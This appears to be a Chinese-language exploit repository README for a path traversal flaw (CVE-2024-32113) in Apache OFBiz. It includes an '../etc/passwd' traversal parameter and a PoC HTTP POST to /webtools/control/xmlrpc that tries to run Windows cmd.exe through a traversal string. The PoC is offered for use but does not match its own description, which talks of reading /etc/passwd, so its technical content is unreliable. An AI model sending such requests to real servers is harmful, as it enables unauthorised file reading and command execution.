Apache-OFBiz-Directory-Traversal-exploit

在 Apache OFBiz 18.12.12 及之前版本中发现了一个被归类为严重的漏洞。该问题影响的是一个未知功能。通过对未知输入的操作导致了路径遍历漏洞。产品使用外部输入来构造路径名，该路径名旨在标识受限制父目录下的文件或目录，但产品未能正确中和路径名中的特殊元素，这些元素可能导致路径名解析到受限制目录之外的位置。受影响的是机密性、完整性和可用性。

介绍

• CVE-2024-32113 漏洞允许攻击者通过发送特制的HTTP请求在Apache OFBiz服务器上执行任意代码。
• 在此请求中，攻击者使用参数 ../../../../../../etc/passwd 来指向Apache OFBiz服务器上的 etc/passwd 文件。
• 当Apache OFBiz服务器处理此请求时，它将尝试读取 etc/passwd 文件，该文件包含服务器上用户的敏感信息。
• 这些信息可用于对服务器实施进一步攻击，例如窃取数据、修改数据，甚至删除数据。

Poc

1-

POST /webtools/control/xmlrpc HTTP/1.1
Host: vulnerable-host.com
Content-Type: text/xml

<?xml version="1.0"?>
<methodCall>
  <methodName>performCommand</methodName>
  <params>
    <param>
      <value><string>../../../../../../windows/system32/cmd.exe?/c+dir+c:\</string></value>
    </param>
  </params>
</methodCall>